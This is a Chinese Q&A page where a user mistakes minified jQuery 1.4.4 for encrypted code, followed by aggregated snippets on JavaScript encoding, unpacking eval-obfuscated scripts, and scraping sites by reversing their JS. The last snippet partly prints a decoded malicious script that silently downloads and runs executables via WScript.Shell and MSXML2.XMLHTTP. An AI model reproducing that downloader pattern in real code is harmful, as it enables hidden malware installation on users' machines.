JS代码解密

看到了个JS代码 根本看不懂 估计是加密了。但是字符太多了 不能完全复制过来。

我复制前面一段,谁知道怎么解密啊?

/*!
* jQuery JavaScript Library v1.4.4
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2010, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Thu Nov 11 19:04:53 2010 -0500
*/
(function(E,B){function ka(a,b,d){if(d===B&&a.nodeType===1){d=a.getAttribute("data-"+b);if(typeof d==="string"){try{d=d==="true"?true:d==="false"?false:d==="null"?null:!c.isNaN(d)?parseFloat(d):Ja.test(d)?c.parseJSON(d):d}catch(e){}c.data(a,b,d)}else d=B}return d}function U(){return false}function ca(){return true}function la(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function Ka(a){var b,d,e,f,h,l,k,o,x,r,A,C=[];f=[];h=c.data(this,this.nodeType?"events":"__events__");if(typeof h==="function")h=
h.events;if(!(a.liveFired===this||!h||!h.live||a.button&&a.type==="click")){if(a.namespace)A=RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)");a.liveFired=this;var J=h.live.slice(0);for(k=0;k<J.length;k++){h=J[k];h.origType.replace(X,"")===a.type?f.push(h.selector):J.splice(k--,1)}f=c(a.target).closest(f,a.currentTarget);o=0;for(x=f.length;o<x;o++){r=f[o];for(k=0;k<J.length;k++){h=J[k];if(r.selector===h.selector&&(!A||A.test(h.namespace))){l=r.elem;e=null;if(h.preType==="mouseenter"||
h.preType==="mouseleave"){a.type=h.preType;e=c(a.relatedTarget).closest(h.selector)[0]}if(!e||e!==l)C.push({elem:l,handleObj:h,level:r.level})}}}o=0;for(x=C.length;o<x;o++){f=C[o];if(d&&f.level>d)

第1个回答  2012-11-15
(function(E, B) {
function ka(a, b, d) {
if (d === B && a.nodeType === 1) {
d = a.getAttribute("data-" + b);
if (typeof d === "string") {
try {
d = d === "true" ? true: d === "false" ? false: d === "null" ? null: !c.isNaN(d) ? parseFloat(d) : Ja.test(d) ? c.parseJSON(d) : d
} catch(e) {}
c.data(a, b, d)
} else d = B
}
return d
}
function U() {
return false
}
function ca() {
return true
}
function la(a, b, d) {
d[0].type = a;
return c.event.handle.apply(b, d)
}
function Ka(a) {
var b, d, e, f, h, l, k, o, x, r, A, C = [];
f = [];
h = c.data(this, this.nodeType ? "events": "__events__");
if (typeof h === "function") h = h.events;
if (! (a.liveFired === this || !h || !h.live || a.button && a.type === "click")) {
if (a.namespace) A = RegExp("(^|\\.)" + a.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)");
a.liveFired = this;
var J = h.live.slice(0);
for (k = 0; k < J.length; k++) {
h = J[k];
h.origType.replace(X, "") === a.type ? f.push(h.selector) : J.splice(k--, 1)
}
f = c(a.target).closest(f, a.currentTarget);
o = 0;
for (x = f.length; o < x; o++) {
r = f[o];
for (k = 0; k < J.length; k++) {
h = J[k];
if (r.selector === h.selector && (!A || A.test(h.namespace))) {
l = r.elem;
e = null;
if (h.preType === "mouseenter" || h.preType === "mouseleave") {
a.type = h.preType;
e = c(a.relatedTarget).closest(h.selector)[0]
}
if (!e || e !== l) C.push({
elem: l,
handleObj: h,
level: r.level
})
}
}
}
o = 0;
for (x = C.length; o < x; o++) {
f = C[o];
if (d && f.level > d)
第2个回答  2011-12-26
注释里都写了。。jQuery 1.4.4。。
这个没加密,是压缩了。没法逆操作。
如果你只是想了解jquery,去网上搜吧。多的是。而且还有中文注释的。
第3个回答  2011-12-23
人基本估计是看不出来的~看软件能不能帮上吗?
第4个回答  2011-12-30
jquery是神作 我等只能膜拜了
第5个回答  2011-12-21
不懂!本回答被提问者采纳

js加密解密(js加密解密函数)
如何加密js?1、非对称加密算法:非对称加密算法需要两个密钥:公开密钥(publickey:简称公钥)和私有密钥(privatekey:简称私钥)。公钥与私钥是一对,如果用公钥对数据进行加密,只有用对应的私钥才能解密。2、如:用户密码,请求参数,文件加密如:接口参数签名验证服务支付数据、CA数字证书前端的朋友可能...

一行js代码实现字符串加密解密
javascript let str = "Hello, World!";let encodedStr = btoa(str);let decodedStr = atob(encodedStr);console.log(encodedStr); \/\/ 输出 Base64编码后的字符串 console.log(decodedStr); \/\/ 输出解密后的原始字符串 然而,对于Unicode字符的加密与解密,我们不能直接使用`btoa`和`atob`。这时...

js文件加密解密(js加密文件)
方法一:有一种加密的办法是采用javascript的escape()函数,把某些符号、汉字等变成乱码,以达到迷惑人的目的。解密这种代码的办法是采用其反函数加以还原。这个是典型的JS加密。加了干扰字符而已。解密很简单的。解密结果如下:functionxw(info,url){if(confirm(+info+))location=url}。js中常见的数据...

Python爬虫JS解密详解,学会直接破解80%的网站!
Python爬虫遇到JS加密时,通过深入解析和解密,可以破解80%的网站功能,下面以有道翻译为例,详细讲解这一过程。首先,我们需要观察网页源代码,确认有道翻译的源码实现。虽然表面上看似完成,但实际翻译内容改变时,请求参数会变,这就需要找到这些动态参数的生成方法。通过开发者工具,搜索关键词如"sign"和"...

[分享]JS中利用CryptoJS进行MD5\/SHA256\/BASE64\/AES加解密的方法与示例...
首先,你需要下载CryptoJS库至本地项目,比如从这里获取。在开发环境中,可以借助ApiPost这款接口管理工具进行调试,它不仅支持CryptoJS,还具备文档分享功能,使用起来非常便捷。例如,ApiPost允许你通过console.log()来测试代码。在加密方面,如需MD5哈希,可以使用CryptoJS.MD5('input string')。SHA256...

js怎么解密,js解密工具js怎么查看这些代码麻烦给解决一下
这段代码eval压缩过了,不过解压函数被破坏了,加密信息完整 修复后可以eval解压的。eval解压工具http:\/\/app.baidu.com\/app\/enter?appid=121305(一次只能解压一个)修复后的为 eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''...

请求各位js高手帮我解密这段代码,十分感谢~~
case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length] = str.charAt(i - 1);break;case 12:case 13:char2 = str.charCodeAt(i);out[out.length] = String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));break;case 14:char2 = str.charCodeAt(i);...

高分求js解密?
第一个的解密结果:body{usabaidu:expr\/*MyOneDream*\/ession(var fHeader;fHeader='';if(document.getElementById("header")) document.getElementById("header").outerHTML=fHeader;var fFoot;fFoot='';if(document.getElementById("ft")) document.getElementById("ft"...

js代码解密
<textarea name=id_code style='width:100%;height:500'><\/textarea> 修改下载到本地的mapbarapi.js文件,把第316个字符开始的return p修改为id_code.value=p即可,现在浏览器打开a.html就可以看见解密后的JS代码。由于百度的限制,无法粘贴完整的解密后的代码,只粘贴前面部分:修改后的mapbarapi...

js代码混淆解密
解密后的代码如下,作用是从三个网址下载三个exe文件,然后隐藏运行这三个exe文件。function dl(fr, fn, rn) {var ws = new ActiveXObject("WScript.Shell");var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;var xo = new ActiveXObject("MSXML2.XMLHTTP");...

相似回答